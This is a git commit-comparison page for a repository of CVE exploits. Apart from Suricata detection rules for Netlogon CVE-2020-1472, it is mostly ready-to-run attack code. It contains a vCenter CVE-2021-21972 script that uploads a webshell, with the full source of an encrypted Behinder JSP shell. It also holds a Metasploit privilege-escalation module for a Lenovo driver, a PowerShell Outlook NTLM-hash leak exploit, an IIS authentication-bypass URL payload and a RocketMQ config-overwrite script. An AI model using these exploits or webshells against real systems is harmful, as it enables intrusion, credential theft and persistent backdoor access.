Compare commits
85 Commits
helloexp-p
...
master
Author | SHA1 | Date | |
---|---|---|---|
![]() |
29bd78f739 | ||
![]() |
dd7473c7d8 | ||
![]() |
1ecafa1854 | ||
![]() |
b9f83c4750 | ||
![]() |
40c0d772f6 | ||
![]() |
e2a114ed9c | ||
![]() |
7a7a360a08 | ||
![]() |
95d4f6d0a3 | ||
![]() |
ba539cd6ab | ||
![]() |
e089eb8521 | ||
![]() |
01259a5cfc | ||
![]() |
606f59cd06 | ||
![]() |
8dd25df3a8 | ||
![]() |
c6719e254b | ||
![]() |
fa87e9ac44 | ||
![]() |
76344e8c8a | ||
![]() |
04bbc6b65a | ||
![]() |
f12878fe43 | ||
![]() |
a2e4fc15f2 | ||
![]() |
c3dbd01f10 | ||
![]() |
7eec310d18 | ||
![]() |
84bf02c8c7 | ||
![]() |
199aa3e790 | ||
![]() |
3483a95f69 | ||
![]() |
1bed04d9cd | ||
![]() |
0ce34805b5 | ||
![]() |
d672c22ac3 | ||
![]() |
d18d576a30 | ||
![]() |
e2b371ef33 | ||
![]() |
858b961558 | ||
![]() |
8554402f36 | ||
![]() |
113ae818a1 | ||
![]() |
3759341ce1 | ||
![]() |
fbe7076d5b | ||
![]() |
966b0f5a52 | ||
![]() |
5aa8b8a863 | ||
![]() |
febd9bf845 | ||
![]() |
33b71388cd | ||
![]() |
d4935af74b | ||
![]() |
a9e143c754 | ||
![]() |
65f3b78549 | ||
![]() |
a4f80ca955 | ||
![]() |
1152448bc7 | ||
![]() |
f3b93b2199 | ||
![]() |
ccc0d2d8be | ||
![]() |
b8716036cd | ||
![]() |
5c1882ff19 | ||
![]() |
055f7b7627 | ||
![]() |
db88debf26 | ||
![]() |
be160ae156 | ||
![]() |
8e93029df5 | ||
![]() |
2f741724c3 | ||
![]() |
19b3885357 | ||
![]() |
4fc817e24e | ||
![]() |
9a6e37b6a0 | ||
![]() |
e777c48a8d | ||
![]() |
e9c4ec552a | ||
![]() |
a64ac76f8e | ||
![]() |
4c65975297 | ||
![]() |
3443bfdbd9 | ||
![]() |
5bd8e2c4a8 | ||
![]() |
1aced0f1f9 | ||
![]() |
2a5a985da9 | ||
![]() |
e2c80b6751 | ||
![]() |
0fc7f155d7 | ||
![]() |
9a82769c67 | ||
![]() |
9ab52b9ec5 | ||
![]() |
608d56c944 | ||
![]() |
8500ad17fb | ||
![]() |
1d00d653f8 | ||
![]() |
f5f2e12615 | ||
![]() |
971ff2b222 | ||
![]() |
9ab1f985d6 | ||
![]() |
1f4a52f8b7 | ||
![]() |
30bb0720a0 | ||
![]() |
e4ac9c1d4a | ||
![]() |
a1bf8ad037 | ||
![]() |
912281d2cb | ||
![]() |
5cba4f9025 | ||
![]() |
256940c272 | ||
![]() |
fefb8a39e1 | ||
![]() |
ab30fdc6a2 | ||
![]() |
560b1baeb0 | ||
![]() |
cb79d6f528 | ||
![]() |
892ec414fb |
BIN
00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-200.pcap
Normal file
BIN
00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit-2000.pcap
Normal file
BIN
00-CVE_EXP/CVE-2020-1472/cve-2020-1472-exploit.pcap
Normal file
7
00-CVE_EXP/CVE-2020-1472/cve-2020-1472-production.rules
Normal file
@ -0,0 +1,7 @@
|
||||
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
|
||||
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
|
||||
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
|
||||
#Only captures bytes sequence, this IDS signature subject to some false/negative and
|
||||
#possible false/positives
|
||||
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)
|
||||
|
BIN
00-CVE_EXP/CVE-2020-1472/cve-2020-1472-test.pcap
Normal file
7
00-CVE_EXP/CVE-2020-1472/cve-2020-1472.rules
Normal file
@ -0,0 +1,7 @@
|
||||
#Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472
|
||||
#For wireshark geeks (netlogon.clientcred == 00:00:00:00:00:00:00:00 && netlogon.neg_flags == 0x212fffff)
|
||||
#Note ntlmssp.neg_flags.na400000 == 0 is not enabled in the suricata rule which is a reliable
|
||||
#Only captures bytes sequence, this IDS signature subject to some false/negative and
|
||||
#possible false/positives tested with most exploits currently out
|
||||
alert tcp any [1024: 65535] -> $HOME_NET [135:139, 445, 1024: 65535] (msg:"VU#490028: Microsoft Netlogon Remote Protocol vulnerable to elevation of privilege CVE-2020-1472"; flow: established,to_server; content: "|00 00 00 00 00 00 00 00|"; content: "|ff ff 2f 21|"; within: 12; sid:1367490028; classtype:attempted-admin; threshold: type limit, track by_src, seconds 180, count 1; reference: url,https://kb.cert.org/vuls/id/490028; rev:4;)
|
||||
|
BIN
00-CVE_EXP/CVE-2020-1472/smb-normal.pcap
Normal file
260
00-CVE_EXP/CVE-2021-21972/CVE-2021-21972.py
Normal file
@ -0,0 +1,260 @@
|
||||
#/usr/bin/env python3
|
||||
import requests
|
||||
import os
|
||||
import argparse
|
||||
import urllib3
|
||||
import tarfile
|
||||
import time
|
||||
import sys
|
||||
|
||||
# remove SSL warning
|
||||
urllib3.disable_warnings()
|
||||
|
||||
# get script work path
|
||||
WORK_PATH = os.path.split(os.path.realpath(__file__))[0]
|
||||
|
||||
# init payload path
|
||||
WINDOWS_PAYLOAD = WORK_PATH + "/payload/Windows.tar"
|
||||
LINUX_DEFAULT_PAYLOAD = WORK_PATH + "/payload/Linux.tar"
|
||||
LINUX_RANDOM_PAYLOAD_SOURCE = WORK_PATH + "/payload/Linux/shell.jsp"
|
||||
LINUX_RANDOM_PAYLOAD_TARFILE = WORK_PATH + "/payload/Linux_Random.tar"
|
||||
|
||||
# init vulnerable url and shell URL
|
||||
VUL_URI = "/ui/vropspluginui/rest/services/uploadova"
|
||||
WINDOWS_SHELL_URL = "/statsreport/shell.jsp"
|
||||
LINUX_SHELL_URL = "/ui/resources/shell.jsp"
|
||||
|
||||
# set connect timeout
|
||||
TIMEOUT = 10
|
||||
|
||||
# set headers
|
||||
headers = {}
|
||||
headers[
|
||||
"User-Agent"
|
||||
] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36"
|
||||
headers["Cache-Control"] = "no-cache"
|
||||
headers["Pragma"] = "no-cache"
|
||||
|
||||
# get vcenter version,code from @TaroballzChen
|
||||
SM_TEMPLATE = b"""<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||
<env:Body>
|
||||
<RetrieveServiceContent xmlns="urn:vim25">
|
||||
<_this type="ServiceInstance">ServiceInstance</_this>
|
||||
</RetrieveServiceContent>
|
||||
</env:Body>
|
||||
</env:Envelope>"""
|
||||
|
||||
|
||||
def getValue(sResponse, sTag="vendor"):
|
||||
try:
|
||||
return sResponse.split("<" + sTag + ">")[1].split("</" + sTag + ">")[0]
|
||||
except:
|
||||
pass
|
||||
return ""
|
||||
|
||||
|
||||
def getVersion(sURL):
|
||||
oResponse = requests.post(sURL + "/sdk", verify=False, timeout=5, data=SM_TEMPLATE)
|
||||
if oResponse.status_code == 200:
|
||||
sResult = oResponse.text
|
||||
if not "VMware" in getValue(sResult, "vendor"):
|
||||
print("[-] Not a VMware system: " + sURL, "error")
|
||||
return
|
||||
else:
|
||||
sVersion = getValue(sResult, "version") # e.g. 7.0.0
|
||||
sBuild = getValue(sResult, "build") # e.g. 15934073
|
||||
sFull = getValue(sResult, "fullName")
|
||||
print("[+] Identified: " + sFull, "good")
|
||||
return sVersion, sBuild
|
||||
print("Not a VMware system: " + sURL, "error")
|
||||
sys.exit()
|
||||
|
||||
|
||||
# Utils Functions, Code From @horizon3ai
|
||||
def make_traversal_path(path, level=2):
|
||||
traversal = ".." + "/"
|
||||
fullpath = traversal * level + path
|
||||
return fullpath.replace("\\", "/").replace("//", "/")
|
||||
|
||||
|
||||
def archive(file, path):
|
||||
tarf = tarfile.open(LINUX_RANDOM_PAYLOAD_TARFILE, "w")
|
||||
fullpath = make_traversal_path(path, level=2)
|
||||
print("[+] Adding " + file + " as " + fullpath + " to archive")
|
||||
tarf.add(file, fullpath)
|
||||
tarf.close()
|
||||
|
||||
|
||||
# Tool Functions
|
||||
def checkVul(URL):
|
||||
try:
|
||||
res = requests.get(
|
||||
URL + VUL_URI, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
print("[*] Check {URL} is vul ...".format(URL=URL))
|
||||
if res.status_code == 405:
|
||||
print("[!] {URL} IS vul ...".format(URL=URL))
|
||||
return True
|
||||
else:
|
||||
print("[-] {URL} is NOT vul ...".format(URL=URL))
|
||||
return False
|
||||
except:
|
||||
print("[-] {URL} connect failed ...".format(URL=URL))
|
||||
return False
|
||||
|
||||
|
||||
def checkShellExist(SHELL_URI):
|
||||
time.sleep(
|
||||
5
|
||||
) # vCenter copy file to web folder need some time, on most test,5s is good
|
||||
re = requests.get(SHELL_URI, verify=False, timeout=TIMEOUT, headers=headers)
|
||||
if re.status_code == 200:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def uploadWindowsPayload(URL):
|
||||
file = {"uploadFile": open(WINDOWS_PAYLOAD, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text:
|
||||
if checkShellExist(URL + WINDOWS_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
||||
url=URL + WINDOWS_SHELL_URL
|
||||
)
|
||||
)
|
||||
else:
|
||||
print("[-] All payload has been upload but not success.")
|
||||
else:
|
||||
print("[-] All payload has been upload but not success.")
|
||||
|
||||
|
||||
def uploadLinuxShell(URL):
|
||||
print("[*] Trying linux default payload...")
|
||||
file = {"uploadFile": open(LINUX_DEFAULT_PAYLOAD, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text:
|
||||
print("[+] Shell upload success, now check is shell exist...")
|
||||
if checkShellExist(URL + LINUX_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {URL}, default password:rebeyond".format(
|
||||
URL=URL + LINUX_SHELL_URL
|
||||
)
|
||||
)
|
||||
else:
|
||||
print(
|
||||
"[-] Shell upload success, BUT NOT EXIST, trying Linux Random payload..."
|
||||
)
|
||||
uploadLinuxRandomPayload(URL)
|
||||
else:
|
||||
print("[-] Shell upload success, BUT NOT EXIST, trying windows payload...")
|
||||
uploadWindowsPayload(URL)
|
||||
|
||||
|
||||
def uploadLinuxRandomPayload(URL):
|
||||
for i in range(0, 120):
|
||||
"""
|
||||
vCenter will regenerate web folder when vCenter Server restart
|
||||
Attempts to brute force web folders up to 120 times
|
||||
"""
|
||||
archive(
|
||||
LINUX_RANDOM_PAYLOAD_SOURCE,
|
||||
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/{REPLACE_RANDOM_ID_HERE}/0/h5ngc.war/resources/shell.jsp".format(
|
||||
REPLACE_RANDOM_ID_HERE=i
|
||||
),
|
||||
)
|
||||
file = {"uploadFile": open(LINUX_RANDOM_PAYLOAD_TARFILE, "rb")}
|
||||
re = requests.post(
|
||||
URL + VUL_URI, files=file, verify=False, timeout=TIMEOUT, headers=headers
|
||||
)
|
||||
if "SUCCESS" in re.text and checkShellExist(URL + LINUX_SHELL_URL):
|
||||
print(
|
||||
"[+] Shell exist URL: {url}, default password:rebeyond".format(
|
||||
url=URL + LINUX_SHELL_URL
|
||||
)
|
||||
)
|
||||
print(
|
||||
"[+] Found Server Path exists!!!! Try times {REPLACE_RANDOM_ID_HERE}".format(
|
||||
REPLACE_RANDOM_ID_HERE=i
|
||||
)
|
||||
)
|
||||
exit()
|
||||
|
||||
|
||||
def banner():
|
||||
print(
|
||||
"""
|
||||
_______ ________ ___ ___ ___ __ ___ __ ___ ______ ___
|
||||
/ ____\\ \\ / / ____| |__ \\ / _ \\__ \\/_ | |__ \\/_ |/ _ \\____ |__ \\
|
||||
| | \\ \\ / /| |__ ______ ) | | | | ) || |______ ) || | (_) | / / ) |
|
||||
| | \\ \\/ / | __|______/ /| | | |/ / | |______/ / | |\\__, | / / / /
|
||||
| |____ \\ / | |____ / /_| |_| / /_ | | / /_ | | / / / / / /_
|
||||
\\_____| \\/ |______| |____|\\___/____||_| |____||_| /_/ /_/ |____|
|
||||
Test On vCenter 6.5 Linux/Windows
|
||||
VMware-VCSA-all-6.7.0-8217866
|
||||
VMware-VIM-all-6.7.0-8217866
|
||||
VMware-VCSA-all-6.5.0-16613358
|
||||
By: Sp4ce
|
||||
Github:https://github.com/NS-Sp4ce
|
||||
"""
|
||||
)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
banner()
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument(
|
||||
"-url",
|
||||
"--targeturl",
|
||||
type=str,
|
||||
help="Target URL. e.g: -url 192.168.2.1/-url https://192.168.2.1",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
url = args.targeturl
|
||||
if "https://" not in url:
|
||||
url = "https://" + url
|
||||
if checkVul(url):
|
||||
sVersion, sBuild = getVersion(url)
|
||||
if (
|
||||
int(sVersion.split(".")[0]) == 6
|
||||
and int(sVersion.split(".")[1]) == 7
|
||||
and int(sBuild) >= 13010631
|
||||
) or (
|
||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
||||
):
|
||||
print(
|
||||
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
|
||||
)
|
||||
userChoice = input("Do you still want to exploit?(y/n)")
|
||||
if userChoice.lower() == "y":
|
||||
uploadLinuxShell(url)
|
||||
else:
|
||||
sys.exit()
|
||||
else:
|
||||
uploadLinuxShell(url)
|
||||
elif checkVul(url):
|
||||
sVersion, sBuild = getVersion(url)
|
||||
if (
|
||||
int(sVersion.split(".")[0]) == 6
|
||||
and int(sVersion.split(".")[1]) == 7
|
||||
and int(sBuild) >= 13010631
|
||||
) or (
|
||||
(int(sVersion.split(".")[0]) == 7 and int(sVersion.split(".")[1]) == 0)
|
||||
):
|
||||
print(
|
||||
"[-] {TARGET} maybe running vCenter 6.7 U2+, and vCenter 6.7 U2+ running website in memory,so this exp may be not work well on vCenter 6.7 u2+.".format(TARGET=url)
|
||||
)
|
||||
userChoice = input("Do you still want to exploit?(y/n)")
|
||||
if userChoice.lower() == "y":
|
||||
uploadLinuxShell(url)
|
||||
else:
|
||||
sys.exit()
|
||||
else:
|
||||
uploadLinuxShell(url)
|
||||
else:
|
||||
parser.print_help()
|
12
00-CVE_EXP/CVE-2021-21972/README.md
Normal file
@ -0,0 +1,12 @@
|
||||
# CVE-2021-21972
|
||||
|
||||
# Works On
|
||||
- VMware-VCSA-all-6.7.0-8217866、VMware-VIM-all-6.7.0-8217866 ✔
|
||||
- VMware-VCSA-all-6.5.0-16613358 ✔
|
||||
|
||||
# For vCenter6.7 U2+
|
||||
vCenter 6.7U2+ running website in memory,so this exp can't work for 6.7 u2+.
|
||||
|
||||
# Details
|
||||
1. issue url `/ui/vropspluginui/rest/services/uploadova`,完整路径(`https://domain.com/ui/vropspluginui/rest/services/uploadova`)
|
||||
2. `payload`文件夹内的`*.tar`文件为冰蝎3 webshell
|
BIN
00-CVE_EXP/CVE-2021-21972/payload/Linux.tar
Normal file
1
00-CVE_EXP/CVE-2021-21972/payload/Linux/shell.jsp
Normal file
@ -0,0 +1 @@
|
||||
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>
|
BIN
00-CVE_EXP/CVE-2021-21972/payload/Windows.tar
Normal file
116
00-CVE_EXP/CVE-2022-3699/exp.rb
Normal file
@ -0,0 +1,116 @@
|
||||
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'Lenovo Diagnostics Driver IOCTL memmove',
|
||||
'Description' => %q{
|
||||
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
|
||||
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'alfarom256', # Original PoC
|
||||
'jheysel-r7' # msf module
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2022-3699' ],
|
||||
[ 'URL', 'https://github.com/alfarom256/CVE-2022-3699/' ]
|
||||
],
|
||||
'DisclosureDate' => '2022-11-09',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => []
|
||||
},
|
||||
'Compat' => {
|
||||
'Meterpreter' => {
|
||||
'Commands' => %w[
|
||||
stdapi_railgun_api
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
unless session.platform == 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\LenovoDiagnosticsDriver', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def target_compatible?
|
||||
build_num = sysinfo['OS'].match(/Build (\d+)/)[1].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
|
||||
return true if sysinfo['OS'] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
|
||||
return true if sysinfo['OS'] =~ /Windows 11/ && build_num == 22000
|
||||
return true if sysinfo['OS'] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
|
||||
unless target_compatible?
|
||||
fail_with(Failure::NoTarget, 'The exploit does not support this target')
|
||||
end
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
|
||||
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
|
||||
end
|
||||
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-3699', 'CVE-2022-3699.x64.dll'),
|
||||
[encoded_payload.length].pack('I<') + encoded_payload
|
||||
)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
7
00-CVE_EXP/CVE-2022-3699/readme.md
Normal file
@ -0,0 +1,7 @@
|
||||
### CVE
|
||||
`CVE-2022-3699`
|
||||
### 漏洞描述
|
||||
> 通过控制`Lenovo Diagnostics Driver` 可以通过低权限的用户,访问任意的内存空间
|
||||
### POC 使用
|
||||
直接导入metasploit 平台即可使用
|
||||
|
46
00-CVE_EXP/CVE-2023-23397/exp.ps1
Normal file
@ -0,0 +1,46 @@
|
||||
|
||||
# CVE-2023-23397
|
||||
# outlook 信息泄露漏洞
|
||||
# 需要配合Responder 使用
|
||||
|
||||
# usage
|
||||
# Import-Module .\exp.ps1
|
||||
# Send-CalendarNTLMLeak -recipient "test@xyc.com" -remotefilepath "192.168.128.132\\\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "This is just a test"
|
||||
|
||||
|
||||
function Send-CalendarNTLMLeak ($recipient, $remotefilepath, $meetingsubject, $meetingbody)
|
||||
{
|
||||
# Add-Type -assembly "Microsoft.Office.Interop.Outlook"
|
||||
|
||||
$Outlook = New-Object -comobject Outlook.Application
|
||||
$newcal = $outlook.CreateItem('olAppointmentItem')
|
||||
$newcal.ReminderSoundFile = $remotefilepath
|
||||
$newcal.Recipients.add($recipient)
|
||||
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
|
||||
$newcal.Subject = $meetingsubject
|
||||
$newcal.Location = "Virtual"
|
||||
$newcal.Body = $meetingbody
|
||||
$newcal.Start = get-date
|
||||
$newcal.End = (get-date).AddHours(2)
|
||||
$newcal.ReminderOverrideDefault = 1
|
||||
$newcal.ReminderSet = 1
|
||||
$newcal.ReminderPlaysound = 1
|
||||
$newcal.send()
|
||||
}
|
||||
|
||||
function Save-CalendarNTLMLeak ($remotefilepath, $meetingsubject, $meetingbody)
|
||||
{
|
||||
$Outlook = New-Object -comObject Outlook.Application
|
||||
$newcal = $outlook.CreateItem('olAppointmentItem')
|
||||
$newcal.ReminderSoundFile = $remotefilepath
|
||||
$newcal.MeetingStatus = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olMeeting
|
||||
$newcal.Subject = $meetingsubject
|
||||
$newcal.Location = "Virtual"
|
||||
$newcal.Body = $meetingbody
|
||||
$newcal.Start = get-date
|
||||
$newcal.End = (get-date).AddHours(2)
|
||||
$newcal.ReminderOverrideDefault = 1
|
||||
$newcal.ReminderSet = 1
|
||||
$newcal.ReminderPlaysound = 1
|
||||
$newcal.save()
|
||||
}
|
35
00-CVE_EXP/CVE-2023-36899/README.md
Normal file
@ -0,0 +1,35 @@
|
||||
|
||||
|
||||
# CVE-2023-36899.NET 身份绕过 IIS 认证
|
||||
|
||||
默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段,
|
||||
命名方式如下
|
||||
`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;`
|
||||
|
||||
如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置<SessionState>节点属性 cookieless 属性为 true,这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下
|
||||
```xml
|
||||
<system.web>
|
||||
<sessionState cookieless="true"/>
|
||||
</system.web>
|
||||
```
|
||||
这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然
|
||||
是不安全的。如下图
|
||||
但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存
|
||||
在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。
|
||||
在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的
|
||||
用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证
|
||||
步骤如下:
|
||||
1. 启用 Windows 身份验证安全功能
|
||||
2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证
|
||||
配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx
|
||||
弹出授权登录对话框如下图
|
||||
遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上
|
||||
传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会
|
||||
话 ID 的方式绕过,
|
||||
3. 常用的 Bypass Payload 如下
|
||||
`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/
|
||||
`
|
||||
|
||||
输入两次会话 ID,并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求
|
||||
`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx`
|
||||
后成功绕过 Windows 身份认证
|
1
00-CVE_EXP/CVE-2023-36899/payload
Normal file
@ -0,0 +1 @@
|
||||
http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx
|
76
00-CVE_EXP/CVE-2023-37582/CVE-2023-37582.py
Normal file
@ -0,0 +1,76 @@
|
||||
import sys
|
||||
import argparse
|
||||
import socket
|
||||
import binascii
|
||||
|
||||
|
||||
def exploit(address, port):
|
||||
try:
|
||||
client_socket = socket.socket()
|
||||
client_socket.settimeout(5) # Set socket timeout to 5 seconds
|
||||
client_socket.connect((address, port))
|
||||
|
||||
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
|
||||
# public static final int UPDATE_NAMESRV_CONFIG = 318;
|
||||
header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
|
||||
'utf-8')
|
||||
body = 'configStorePath=/tmp/pwned\nproductEnvName=test/path\\ntest\\ntest'.encode('utf-8')
|
||||
|
||||
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
|
||||
header_length_hex = '00000000' + str(hex(header_length))[2:]
|
||||
total_length = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + header_length)
|
||||
total_length_hex = '00000000' + str(hex(total_length))[2:]
|
||||
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode(
|
||||
'utf-8') + binascii.hexlify(body).decode('utf-8')
|
||||
|
||||
client_socket.send(bytes.fromhex(data))
|
||||
data_received = client_socket.recv(1024)
|
||||
print(data_received)
|
||||
|
||||
client_socket.close()
|
||||
except socket.timeout:
|
||||
print(f"Connection to {address}:{port} timed out")
|
||||
|
||||
|
||||
def get_namesrv_config(address, port):
|
||||
try:
|
||||
client_socket = socket.socket()
|
||||
client_socket.settimeout(5) # Set socket timeout to 5 seconds
|
||||
client_socket.connect((address, port))
|
||||
|
||||
# common/src/main/java/org/apache/rocketmq/common/protocol/RequestCode.java
|
||||
# public static final int GET_NAMESRV_CONFIG = 319;
|
||||
header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode(
|
||||
'utf-8')
|
||||
|
||||
header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
|
||||
header_length_hex = '00000000' + str(hex(header_length))[2:]
|
||||
total_length = int(4 + header_length)
|
||||
total_length_hex = '00000000' + str(hex(total_length))[2:]
|
||||
data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')
|
||||
|
||||
client_socket.send(bytes.fromhex(data))
|
||||
data_received = client_socket.recv(1024)
|
||||
print(data_received)
|
||||
|
||||
client_socket.close()
|
||||
except socket.timeout:
|
||||
print(f"Connection to {address}:{port} timed out")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description='RocketMQ Exploit')
|
||||
parser.add_argument('-ip', default='127.0.0.1', help='Nameserver address')
|
||||
parser.add_argument('-p', default=9876, type=int, help='Nameserver listen port')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
print('current nameserver config:')
|
||||
get_namesrv_config(args.ip, args.p)
|
||||
exploit(args.ip, args.p)
|
||||
print('modified nameserver config:')
|
||||
get_namesrv_config(args.ip, args.p)
|
50
00-CVE_EXP/CVE-2023-37582/README.md
Normal file
